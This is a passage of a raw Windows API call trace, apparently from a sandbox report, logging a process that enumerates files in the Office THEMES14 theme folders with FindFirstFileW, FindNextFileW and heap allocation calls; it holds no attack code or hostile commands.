ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.181] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.181] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0170.181] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27222c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27222c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.ELM", cAlternateFileName="")) returned 1 [0170.181] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.INF", cAlternateFileName="")) returned 1 [0170.181] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0170.181] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0170.181] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.181] GetProcessHeap () returned 0x6a0000 [0170.181] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.181] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA", cAlternateFileName="")) returned 1 [0170.181] GetProcessHeap () returned 0x6a0000 [0170.181] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0170.181] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.329] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.329] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0170.329] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28535900, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28535900, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.ELM", cAlternateFileName="")) returned 1 [0170.329] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.INF", cAlternateFileName="")) returned 1 [0170.329] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0170.329] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0170.329] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.329] GetProcessHeap () returned 0x6a0000 [0170.330] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.330] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING", cAlternateFileName="")) returned 1 [0170.330] GetProcessHeap () returned 0x6a0000 [0170.330] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0170.330] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.330] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.330] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9df, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0170.330] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab5b300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2ab5b300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x10af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.ELM", cAlternateFileName="")) returned 1 [0170.330] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.INF", cAlternateFileName="")) returned 1 [0170.330] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0170.330] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0170.330] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.330] GetProcessHeap () returned 0x6a0000 [0170.331] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.331] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE", cAlternateFileName="")) returned 1 [0170.331] GetProcessHeap () returned 0x6a0000 [0170.331] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0170.331] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.345] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.345] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0170.346] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d180d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d180d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe232, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.ELM", cAlternateFileName="")) returned 1 [0170.346] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x271, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.INF", cAlternateFileName="")) returned 1 [0170.346] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0170.346] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0170.346] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.346] GetProcessHeap () returned 0x6a0000 [0170.346] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.346] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO", cAlternateFileName="")) returned 1 [0170.346] GetProcessHeap () returned 0x6a0000 [0170.346] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0170.346] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.347] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.347] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x68b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0170.347] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e493a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2e493a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfed, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO.ELM", cAlternateFileName="")) returned 1 [0170.347] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO.INF", cAlternateFileName="")) returned 1 [0170.347] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0170.347] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0170.347] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.347] GetProcessHeap () returned 0x6a0000 [0170.347] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.347] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1 [0170.347] GetProcessHeap () returned 0x6a0000 [0170.347] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0170.347] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.350] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.350] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x137f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0170.350] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7a6700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d416d30, 